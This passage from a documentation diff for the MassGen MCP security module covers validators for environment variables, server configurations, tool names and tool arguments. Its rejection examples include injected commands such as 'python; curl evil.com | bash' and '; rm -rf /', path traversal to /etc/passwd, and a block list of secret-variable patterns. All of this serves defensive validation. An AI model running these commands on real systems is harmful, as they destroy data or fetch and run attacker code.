env={"GITHUB_TOKEN": "secret", "DEBUG": "true", "AWS_SECRET": "key"},
|
|
296
|
+
level="strict", # Automatically blocks *_TOKEN, *_SECRET, etc.
|
|
297
|
+
mode="denylist"
|
|
298
|
+
)
|
|
299
|
+
print(f"Strict filtering: {strict_env}")
|
|
300
|
+
# Output: {"DEBUG": "true"}
|
|
301
|
+
# Note: GITHUB_TOKEN and AWS_SECRET automatically blocked
|
|
302
|
+
|
|
303
|
+
# ❌ Examples that will raise errors
|
|
304
|
+
try:
|
|
305
|
+
# Variable name too long
|
|
306
|
+
validate_environment_variables(
|
|
307
|
+
env={"A" * 200: "value"}, # Name is 200 characters
|
|
308
|
+
max_key_length=100
|
|
309
|
+
)
|
|
310
|
+
except ValueError as e:
|
|
311
|
+
print(f"❌ Variable name too long: {e}")
|
|
312
|
+
|
|
313
|
+
try:
|
|
314
|
+
# Dangerous pattern in value
|
|
315
|
+
validate_environment_variables(
|
|
316
|
+
env={"SAFE_VAR": "value; rm -rf /"}, # Contains dangerous shell command
|
|
317
|
+
mode="allowlist",
|
|
318
|
+
allowed_vars={"SAFE_VAR"}
|
|
319
|
+
)
|
|
320
|
+
except ValueError as e:
|
|
321
|
+
print(f"❌ Dangerous pattern detected: {e}")
|
|
322
|
+
```
|
|
323
|
+
|
|
324
|
+
### Sensitive Data Patterns
|
|
325
|
+
|
|
326
|
+
The validator automatically detects and filters common sensitive patterns:
|
|
327
|
+
|
|
328
|
+
```python
|
|
329
|
+
# Automatically blocked patterns:
|
|
330
|
+
sensitive_patterns = [
|
|
331
|
+
"*PASSWORD*",
|
|
332
|
+
"*SECRET*",
|
|
333
|
+
"*TOKEN*",
|
|
334
|
+
"*KEY*",
|
|
335
|
+
"AWS_*",
|
|
336
|
+
"GITHUB_*",
|
|
337
|
+
"*_CREDENTIAL*"
|
|
338
|
+
]
|
|
339
|
+
|
|
340
|
+
# Safe environment configuration
|
|
341
|
+
config = {
|
|
342
|
+
"type": "stdio",
|
|
343
|
+
"command": "python",
|
|
344
|
+
"args": ["-m", "server"],
|
|
345
|
+
"security": {
|
|
346
|
+
"env": {
|
|
347
|
+
"mode": "allowlist",
|
|
348
|
+
"allowed_vars": [
|
|
349
|
+
"LOG_LEVEL",
|
|
350
|
+
"CONFIG_PATH",
|
|
351
|
+
"PYTHONPATH",
|
|
352
|
+
"HOME"
|
|
353
|
+
]
|
|
354
|
+
}
|
|
355
|
+
}
|
|
356
|
+
}
|
|
357
|
+
```
|
|
358
|
+
|
|
359
|
+
## Server Configuration Validation
|
|
360
|
+
|
|
361
|
+
### validate_server_security()
|
|
362
|
+
|
|
363
|
+
**What it does**: This is the main function that checks if your entire MCP server configuration is secure. It validates everything - the server name, commands, URLs, environment variables, and all security settings.
|
|
364
|
+
|
|
365
|
+
**Why you need it**: Before connecting to any MCP server, you want to make sure the configuration won't expose your system to security risks. This function catches dangerous configurations before they can cause problems.
|
|
366
|
+
|
|
367
|
+
**Parameters**:
|
|
368
|
+
|
|
369
|
+
- `config` (required): Dictionary containing all the server configuration settings
|
|
370
|
+
|
|
371
|
+
**Returns**: A validated and sanitized configuration dictionary
|
|
372
|
+
|
|
373
|
+
**What it checks**:
|
|
374
|
+
|
|
375
|
+
- Server names are safe (no special characters)
|
|
376
|
+
- Commands don't contain injection attacks
|
|
377
|
+
- URLs point to safe locations
|
|
378
|
+
- Environment variables don't leak secrets
|
|
379
|
+
- All settings are within safe limits
|
|
380
|
+
|
|
381
|
+
```python
|
|
382
|
+
from massgen.mcp_tools.security import validate_server_security
|
|
383
|
+
|
|
384
|
+
# ✅ Complete server validation example
|
|
385
|
+
server_config = {
|
|
386
|
+
"name": "my_file_server",
|
|
387
|
+
"type": "stdio", # or "streamable-http"
|
|
388
|
+
"command": "python",
|
|
389
|
+
"args": ["-m", "mcp_server", "--safe-mode"],
|
|
390
|
+
"env": {"LOG_LEVEL": "INFO", "CONFIG_PATH": "/safe/path"},
|
|
391
|
+
"security": {
|
|
392
|
+
"level": "moderate",
|
|
393
|
+
"allowed_executables": ["python", "python3"],
|
|
394
|
+
"env": {
|
|
395
|
+
"mode": "allowlist",
|
|
396
|
+
"allowed_vars": ["LOG_LEVEL", "CONFIG_PATH"]
|
|
397
|
+
}
|
|
398
|
+
}
|
|
399
|
+
}
|
|
400
|
+
|
|
401
|
+
try:
|
|
402
|
+
# This validates EVERYTHING in your config
|
|
403
|
+
secure_config = validate_server_security(server_config)
|
|
404
|
+
print("✅ Configuration is secure!")
|
|
405
|
+
print(f"Validated config: {secure_config}")
|
|
406
|
+
|
|
407
|
+
except ValueError as e:
|
|
408
|
+
print(f"❌ Security validation failed: {e}")
|
|
409
|
+
|
|
410
|
+
# ✅ HTTP server validation
|
|
411
|
+
http_config = {
|
|
412
|
+
"name": "web_api_server",
|
|
413
|
+
"type": "streamable-http",
|
|
414
|
+
"url": "https://api.trusted-service.com/mcp",
|
|
415
|
+
"headers": {"Authorization": "Bearer safe-token"},
|
|
416
|
+
"timeout": 30,
|
|
417
|
+
"security": {
|
|
418
|
+
"level": "strict",
|
|
419
|
+
"allowed_hostnames": ["api.trusted-service.com"],
|
|
420
|
+
"allow_private_ips": False
|
|
421
|
+
}
|
|
422
|
+
}
|
|
423
|
+
|
|
424
|
+
try:
|
|
425
|
+
secure_http_config = validate_server_security(http_config)
|
|
426
|
+
print("✅ HTTP configuration is secure!")
|
|
427
|
+
except ValueError as e:
|
|
428
|
+
print(f"❌ HTTP validation failed: {e}")
|
|
429
|
+
|
|
430
|
+
# ❌ Examples of configurations that will be rejected:
|
|
431
|
+
|
|
432
|
+
# Bad server name
|
|
433
|
+
bad_name_config = {
|
|
434
|
+
"name": "server; rm -rf /", # Contains dangerous characters
|
|
435
|
+
"type": "stdio",
|
|
436
|
+
"command": "python"
|
|
437
|
+
}
|
|
438
|
+
|
|
439
|
+
# Dangerous command
|
|
440
|
+
bad_command_config = {
|
|
441
|
+
"name": "safe_server",
|
|
442
|
+
"type": "stdio",
|
|
443
|
+
"command": "python; curl evil.com | bash" # Command injection attempt
|
|
444
|
+
}
|
|
445
|
+
|
|
446
|
+
# Unsafe URL
|
|
447
|
+
bad_url_config = {
|
|
448
|
+
"name": "web_server",
|
|
449
|
+
"type": "streamable-http",
|
|
450
|
+
"url": "http://192.168.1.1:22/mcp" # Private IP + SSH port
|
|
451
|
+
}
|
|
452
|
+
|
|
453
|
+
# Test each bad config
|
|
454
|
+
for bad_config in [bad_name_config, bad_command_config, bad_url_config]:
|
|
455
|
+
try:
|
|
456
|
+
validate_server_security(bad_config)
|
|
457
|
+
except ValueError as e:
|
|
458
|
+
print(f"❌ Correctly rejected unsafe config: {e}")
|
|
459
|
+
```
|
|
460
|
+
|
|
461
|
+
## Tool Security
|
|
462
|
+
|
|
463
|
+
### sanitize_tool_name()
|
|
464
|
+
|
|
465
|
+
**What it does**: Creates safe, standardized names for MCP tools. It takes a tool name and server name, then creates a unique, secure identifier that prevents naming conflicts and injection attacks.
|
|
466
|
+
|
|
467
|
+
**Why you need it**: Tool names could contain dangerous characters or conflict with system functions. This function ensures all tool names are safe and unique across different servers.
|
|
468
|
+
|
|
469
|
+
**Parameters**:
|
|
470
|
+
|
|
471
|
+
- `tool_name` (required): The original name of the tool (e.g., "file_reader")
|
|
472
|
+
- `server_name` (required): The name of the server providing the tool (e.g., "file_server")
|
|
473
|
+
|
|
474
|
+
**Returns**: A sanitized tool name with server prefix (e.g., "mcp**file_server**file_reader")
|
|
475
|
+
|
|
476
|
+
```python
|
|
477
|
+
from massgen.mcp_tools.security import sanitize_tool_name
|
|
478
|
+
|
|
479
|
+
# ✅ Safe tool name creation
|
|
480
|
+
safe_names = [
|
|
481
|
+
sanitize_tool_name("file_reader", "file_server"),
|
|
482
|
+
# → "mcp__file_server__file_reader"
|
|
483
|
+
|
|
484
|
+
sanitize_tool_name("web-scraper", "web_tools"),
|
|
485
|
+
# → "mcp__web_tools__web_scraper"
|
|
486
|
+
|
|
487
|
+
sanitize_tool_name("data.processor", "analytics"),
|
|
488
|
+
# → "mcp__analytics__data_processor"
|
|
489
|
+
]
|
|
490
|
+
|
|
491
|
+
print("Safe tool names:")
|
|
492
|
+
for name in safe_names:
|
|
493
|
+
print(f" {name}")
|
|
494
|
+
|
|
495
|
+
# ❌ Examples that will be rejected or sanitized:
|
|
496
|
+
dangerous_examples = [
|
|
497
|
+
("tool; rm -rf /", "server"), # Shell injection attempt
|
|
498
|
+
("../../../etc/passwd", "server"), # Path traversal
|
|
499
|
+
("tool\x00hidden", "server"), # Null byte injection
|
|
500
|
+
("", "server"), # Empty name
|
|
501
|
+
("connect", "server"), # Reserved name
|
|
502
|
+
]
|
|
503
|
+
|
|
504
|
+
for tool_name, server_name in dangerous_examples:
|
|
505
|
+
try:
|
|
506
|
+
result = sanitize_tool_name(tool_name, server_name)
|
|
507
|
+
print(f"✅ Sanitized '{tool_name}' → '{result}'")
|
|
508
|
+
except ValueError as e:
|
|
509
|
+
print(f"❌ Rejected '{tool_name}': {e}")
|
|
510
|
+
|
|
511
|
+
# ✅ Understanding the naming convention
|
|
512
|
+
# Format: mcp__<server_name>__<tool_name>
|
|
513
|
+
# This prevents conflicts between servers and makes tools easily identifiable
|
|
514
|
+
example_tool = sanitize_tool_name("analyze_code", "github_tools")
|
|
515
|
+
print(f"Tool format: {example_tool}")
|
|
516
|
+
# Shows: mcp__github_tools__analyze_code
|
|
517
|
+
```
|
|
518
|
+
|
|
519
|
+
### validate_tool_arguments()
|
|
520
|
+
|
|
521
|
+
**What it does**: Checks that the arguments you're sending to an MCP tool are safe and not too large. It prevents injection attacks through tool parameters and ensures data doesn't exceed memory limits.
|
|
522
|
+
|
|
523
|
+
**Why you need it**: Malicious or buggy code could send huge amounts of data or dangerous content through tool arguments. This function blocks those attempts.
|
|
524
|
+
|
|
525
|
+
**Parameters**:
|
|
526
|
+
|
|
527
|
+
- `arguments` (required): Dictionary of arguments to validate
|
|
528
|
+
- `max_depth`: How deeply nested the data can be (default: 5 levels)
|
|
529
|
+
- `max_size`: Rough maximum size in bytes (default: 10,000)
|
|
530
|
+
|
|
531
|
+
**Returns**: Validated arguments dictionary (cleaned and safe)
|
|
532
|
+
|
|
533
|
+
```python
|
|
534
|
+
from massgen.mcp_tools.security import validate_tool_arguments
|
|
535
|
+
|
|
536
|
+
# ✅ Safe argument validation
|
|
537
|
+
safe_args = {
|
|
538
|
+
"file_path": "documents/report.txt",
|
|
539
|
+
"max_lines": 100,
|
|
540
|
+
"options": ["verbose", "format-json"],
|
|
541
|
+
"metadata": {
|
|
542
|
+
"author": "user",
|
|
543
|
+
"created": "2024-01-01"
|
|
544
|
+
}
|
|
545
|
+
}
|
|
546
|
+
|
|
547
|
+
try:
|
|
548
|
+
validated = validate_tool_arguments(safe_args)
|
|
549
|
+
print("✅ Arguments are safe:")
|
|
550
|
+
print(f" {validated}")
|
|
551
|
+
except ValueError as e:
|
|
552
|
+
print(f"❌ Validation failed: {e}")
|
|
553
|
+
|
|
554
|
+
# ✅ Understanding size limits
|
|
555
|
+
# The function estimates JSON size to prevent memory attacks
|
|
556
|
+
large_but_safe = {
|
|
557
|
+
"data": ["item"] * 100, # 100 items - usually OK
|
|
558
|
+
"description": "A" * 1000 # 1000 characters - usually OK
|
|
559
|
+
}
|
|
560
|
+
|
|
561
|
+
try:
|
|
562
|
+
validate_tool_arguments(large_but_safe)
|
|
563
|
+
print("✅ Large data passed validation")
|
|
564
|
+
except ValueError as e:
|
|
565
|
+
print(f"❌ Too large: {e}")
|
|
566
|
+
|
|
567
|
+
# ❌ Examples that will be rejected:
|
|
568
|
+
|
|
569
|
+
# Too deeply nested
|
|
570
|
+
too_deep = {"a": {"b": {"c": {"d": {"e": {"f": "too deep"}}}}}}
|
|
571
|
+
|
|
572
|
+
# Too many items in a list
|
|
573
|
+
too_many_items = {"items": list(range(2000))} # 2000 items
|
|
574
|
+
|
|
575
|
+
# Individual string too long
|
|
576
|
+
too_long_string = {"text": "A" * 20000} # 20,000 characters
|
|
577
|
+
|
|
578
|
+
# Test each problematic case
|
|
579
|
+
test_cases = [
|
|
580
|
+
("deeply nested", too_deep),
|
|
581
|
+
("too many items", too_many_items),
|
|
582
|
+
("string too long", too_long_string)
|
|
583
|
+
]
|
|
584
|
+
|
|
585
|
+
for description, args in test_cases:
|
|
586
|
+
try:
|
|
587
|
+
validate_tool_arguments(args)
|
|
588
|
+
print(f"✅ {description} - unexpectedly passed")
|
|
589
|
+
except ValueError as e:
|
|
590
|
+
print(f"❌ {description} - correctly rejected: {e}")
|
|
591
|
+
|
|
592
|
+
# ✅ Best practices for tool arguments
|
|
593
|
+
best_practice_args = {
|
|
594
|
+
# Keep strings reasonable length
|
|
595
|
+
"message": "Hello world",
|
|
596
|
+
|
|
597
|
+
# Limit list sizes
|
|
598
|
+
"files": ["file1.txt", "file2.txt", "file3.txt"],
|
|
599
|
+
|
|
600
|
+
# Avoid deep nesting
|
|
601
|
+
"config": {
|
|
602
|
+
"mode": "safe",
|
|
603
|
+
"timeout": 30
|
|
604
|
+
},
|
|
605
|
+
|
|
606
|
+
# Use simple data types when possible
|
|
607
|
+
"count": 42,
|
|
608
|
+
"enabled": True
|
|
609
|
+
}
|
|
610
|
+
|
|
611
|
+
validated_best = validate_tool_arguments(best_practice_args)
|
|
612
|
+
print("✅ Best practice arguments validated successfully")
|
|
613
|
+
```
|
|
614
|
+
|
|
615
|
+
## Secure Configuration Patterns
|
|
616
|
+
|
|
617
|
+
### stdio Transport Security
|
|
618
|
+
|
|
619
|
+
```yaml
|
|
620
|
+
# Based on massgen/configs/claude_code_discord_mcp_example.yaml
|
|
621
|
+
# Note: Only security.level and security.env are validated by validate_server_security()
|
|
622
|
+
mcp_servers:
|
|
623
|
+
secure_file_server:
|
|
624
|
+
type: "stdio"
|
|
625
|
+
command: "python3"
|
|
626
|
+
args: ["-m", "file_server", "--safe-mode"]
|
|
627
|
+
timeout: 30
|
|
628
|
+
security:
|
|
629
|
+
level: "strict" # Validated: strict/moderate/permissive
|
|
630
|
+
env: # Validated: environment filtering policies
|
|
631
|
+
mode: "allowlist"
|
|
632
|
+
allowed_vars: ["LOG_LEVEL", "CONFIG_PATH"]
|
|
633
|
+
# Note: resource_limits not currently validated by the library; illustrative only
|
|
634
|
+
resource_limits:
|
|
635
|
+
max_memory: "256MB"
|
|
636
|
+
max_cpu: "50%"
|
|
637
|
+
max_files: 100
|
|
638
|
+
```
|
|
639
|
+
|
|
640
|
+
### HTTP Transport Security
|
|
641
|
+
|
|
642
|
+
```yaml
|
|
643
|
+
# Secure HTTP configuration
|
|
644
|
+
# Note: Only security fields listed below are validated by validate_server_security()
|
|
645
|
+
mcp_servers:
|
|
646
|
+
secure_api_server:
|
|
647
|
+
type: "streamable-http"
|
|
648
|
+
url: "https://api.trusted-service.com/mcp"
|
|
649
|
+
security:
|
|
650
|
+
level: "moderate" # Validated
|
|
651
|
+
allowed_hostnames: ["api.trusted-service.com"] # Validated
|
|
652
|
+
allow_private_ips: false # Validated
|
|
653
|
+
resolve_dns: false # Validated
|
|
654
|
+
allow_localhost: false # Validated
|
|
655
|
+
headers:
|
|
656
|
+
Authorization: "Bearer ${MCP_API_TOKEN}"
|
|
657
|
+
User-Agent: "MassGen-MCP/1.0"
|
|
658
|
+
# Note: Fields below not currently validated by the library; illustrative only
|
|
659
|
+
# dns_timeout: 5
|
|
660
|
+
# connection_timeout: 10
|
|
661
|
+
# tls_security:
|
|
662
|
+
# verify_ssl: true
|
|
663
|
+
# min_tls_version: "1.2"
|
|
664
|
+
# allowed_ciphers: ["ECDHE-RSA-AES256-GCM-SHA384"]
|
|
665
|
+
```
|
|
666
|
+
|
|
667
|
+
## Security Checklist
|
|
668
|
+
|
|
669
|
+
### Pre-Deployment Security Review
|
|
670
|
+
|
|
671
|
+
- [ ] **Command Validation**: All stdio commands use absolute paths or PATH lookup
|
|
672
|
+
- [ ] **Argument Sanitization**: No shell metacharacters in command arguments
|
|
673
|
+
- [ ] **URL Validation**: HTTP URLs are allowlisted and use HTTPS
|
|
674
|
+
- [ ] **Environment Security**: Sensitive variables are filtered or allowlisted
|
|
675
|
+
- [ ] **Network Controls**: Private IPs and dangerous ports are blocked
|
|
676
|
+
- [ ] **TLS Configuration**: Strong TLS settings for HTTP transport
|
|
677
|
+
- [ ] **Resource Limits**: Memory, CPU, and file limits are configured
|
|
678
|
+
- [ ] **Logging**: Security events are logged for monitoring
|
|
679
|
+
|
|
680
|
+
### Runtime Security Monitoring
|
|
681
|
+
|
|
682
|
+
```python
|
|
683
|
+
import logging
|
|
684
|
+
|
|
685
|
+
# Configure security logging
|
|
686
|
+
security_logger = logging.getLogger('massgen.mcp_tools.security')
|
|
687
|
+
security_logger.setLevel(logging.WARNING)
|
|
688
|
+
|
|
689
|
+
# Monitor security events
|
|
690
|
+
handler = logging.StreamHandler()
|
|
691
|
+
handler.setFormatter(logging.Formatter(
|
|
692
|
+
'%(asctime)s - SECURITY - %(levelname)s - %(message)s'
|
|
693
|
+
))
|
|
694
|
+
security_logger.addHandler(handler)
|
|
695
|
+
```
|
|
696
|
+
|
|
697
|
+
### Token and Credential Management
|
|
698
|
+
|
|
699
|
+
```python
|
|
700
|
+
# Secure credential handling
|
|
701
|
+
import os
|
|
702
|
+
from pathlib import Path
|
|
703
|
+
|
|
704
|
+
def load_secure_config():
|
|
705
|
+
"""Load configuration with secure credential handling."""
|
|
706
|
+
config = {
|
|
707
|
+
"type": "streamable-http",
|
|
708
|
+
"url": "https://api.example.com/mcp",
|
|
709
|
+
"headers": {
|
|
710
|
+
# Load from environment, not hardcoded
|
|
711
|
+
"Authorization": f"Bearer {os.getenv('MCP_API_TOKEN')}",
|
|
712
|
+
},
|
|
713
|
+
"security": {
|
|
714
|
+
"level": "strict"
|
|
715
|
+
}
|
|
716
|
+
}
|
|
717
|
+
|
|
718
|
+
# Validate token is present
|
|
719
|
+
if not os.getenv('MCP_API_TOKEN'):
|
|
720
|
+
raise ValueError("MCP_API_TOKEN environment variable required")
|
|
721
|
+
|
|
722
|
+
return config
|
|
723
|
+
```
|
|
724
|
+
|
|
725
|
+
## Troubleshooting Security Issues
|
|
726
|
+
|
|
727
|
+
### Common Security Validation Errors
|
|
728
|
+
|
|
729
|
+
#### Command Injection Prevention
|
|
730
|
+
|
|
731
|
+
```
|
|
732
|
+
ValueError: Command contains dangerous characters: ';'
|
|
733
|
+
```
|
|
734
|
+
|
|
735
|
+
**Solution**: Remove shell metacharacters from command and arguments
|
|
736
|
+
|
|
737
|
+
```python
|
|
738
|
+
# Wrong
|
|
739
|
+
command = "python; echo 'injected'"
|
|
740
|
+
|
|
741
|
+
# Correct
|
|
742
|
+
command = "python"
|
|
743
|
+
args = ["-c", "print('safe')"]
|
|
744
|
+
```
|
|
745
|
+
|
|
746
|
+
#### URL Validation Failures
|
|
747
|
+
|
|
748
|
+
```
|
|
749
|
+
ValueError: URL resolves to private IP address
|
|
750
|
+
```
|
|
751
|
+
|
|
752
|
+
**Solution**: Use public hostnames or configure private IP allowlist
|
|
753
|
+
|
|
754
|
+
```python
|
|
755
|
+
# Wrong
|
|
756
|
+
url = "http://192.168.1.100/mcp"
|
|
757
|
+
|
|
758
|
+
# Correct
|
|
759
|
+
url = "https://public-api.example.com/mcp"
|
|
760
|
+
# Or allow private IPs in config
|
|
761
|
+
config["network_security"]["allow_private_ips"] = True
|
|
762
|
+
```
|
|
763
|
+
|
|
764
|
+
#### Environment Variable Filtering
|
|
765
|
+
|
|
766
|
+
```
|
|
767
|
+
ValueError: Sensitive environment variable detected: API_SECRET
|
|
768
|
+
```
|
|
769
|
+
|
|
770
|
+
**Solution**: Use allowlist mode or remove sensitive variables
|
|
771
|
+
|
|
772
|
+
```python
|
|
773
|
+
# Configure environment filtering
|
|
774
|
+
config["security"] = {
|
|
775
|
+
"env": {
|
|
776
|
+
"mode": "allowlist",
|
|
777
|
+
"allowed_vars": ["LOG_LEVEL", "CONFIG_PATH"]
|
|
778
|
+
}
|
|
779
|
+
}
|
|
780
|
+
```
|
|
781
|
+
|
|
782
|
+
#### Tool Argument Validation
|
|
783
|
+
|
|
784
|
+
```
|
|
785
|
+
ValueError: Tool argument contains invalid characters
|
|
786
|
+
```
|
|
787
|
+
|
|
788
|
+
**Solution**: Sanitize arguments or adjust validation schema
|
|
789
|
+
|
|
790
|
+
```python
|
|
791
|
+
# Sanitize file paths
|
|
792
|
+
safe_path = re.sub(r'[^a-zA-Z0-9._/-]', '', user_input)
|
|
793
|
+
|
|
794
|
+
# Or use stricter schema
|
|
795
|
+
schema = {
|
|
796
|
+
"properties": {
|
|
797
|
+
"path": {"pattern": "^[a-zA-Z0-9._/-]+$"}
|
|
798
|
+
}
|
|
799
|
+
}
|
|
800
|
+
```
|
|
801
|
+
|
|
802
|
+
### Debug Security Validation
|
|
803
|
+
|
|
804
|
+
Enable detailed security logging for troubleshooting:
|
|
805
|
+
|
|
806
|
+
```python
|
|
807
|
+
import logging
|
|
808
|
+
|
|
809
|
+
# Enable debug logging for security module
|
|
810
|
+
logging.getLogger('massgen.mcp_tools.security').setLevel(logging.DEBUG)
|
|
811
|
+
|
|
812
|
+
# This will show detailed validation steps
|
|
813
|
+
async with MCPClient(config) as client:
|
|
814
|
+
await client.connect() # Security validation details logged
|
|
815
|
+
```
|
|
816
|
+
|
|
817
|
+
### Security Testing
|
|
818
|
+
|
|
819
|
+
Test security configurations with known bad inputs:
|
|
820
|
+
|
|
821
|
+
```python
|
|
822
|
+
async def test_security_validation():
|
|
823
|
+
"""Test security validation with malicious inputs."""
|
|
824
|
+
|
|
825
|
+
# Test command injection
|
|
826
|
+
try:
|
|
827
|
+
bad_config = {
|
|
828
|
+
"command": "python; rm -rf /",
|
|
829
|
+
"args": [],
|
|
830
|
+
"security": {
|
|
831
|
+
"level": "strict"
|
|
832
|
+
}
|
|
833
|
+
}
|
|
834
|
+
client = MCPClient(bad_config)
|
|
835
|
+
assert False, "Should have raised ValueError"
|
|
836
|
+
except ValueError:
|
|
837
|
+
print("✓ Command injection blocked")
|
|
838
|
+
|
|
839
|
+
# Test URL validation
|
|
840
|
+
try:
|
|
841
|
+
bad_url_config = {
|
|
842
|
+
"type": "streamable-http",
|
|
843
|
+
"url": "http://localhost:22/mcp",
|
|
844
|
+
"security": {
|
|
845
|
+
"level": "strict"
|
|
846
|
+
}
|
|
847
|
+
}
|
|
848
|
+
validate_url(bad_url_config["url"]) # uses defaults
|
|
849
|
+
assert False, "Should have blocked dangerous port"
|
|
850
|
+
except ValueError:
|
|
851
|
+
print("✓ Dangerous URL blocked")
|
|
852
|
+
```
|
|
853
|
+
|
|
854
|
+
This comprehensive security framework ensures that MCP integrations maintain strong security posture while providing the flexibility needed for legitimate use cases.
|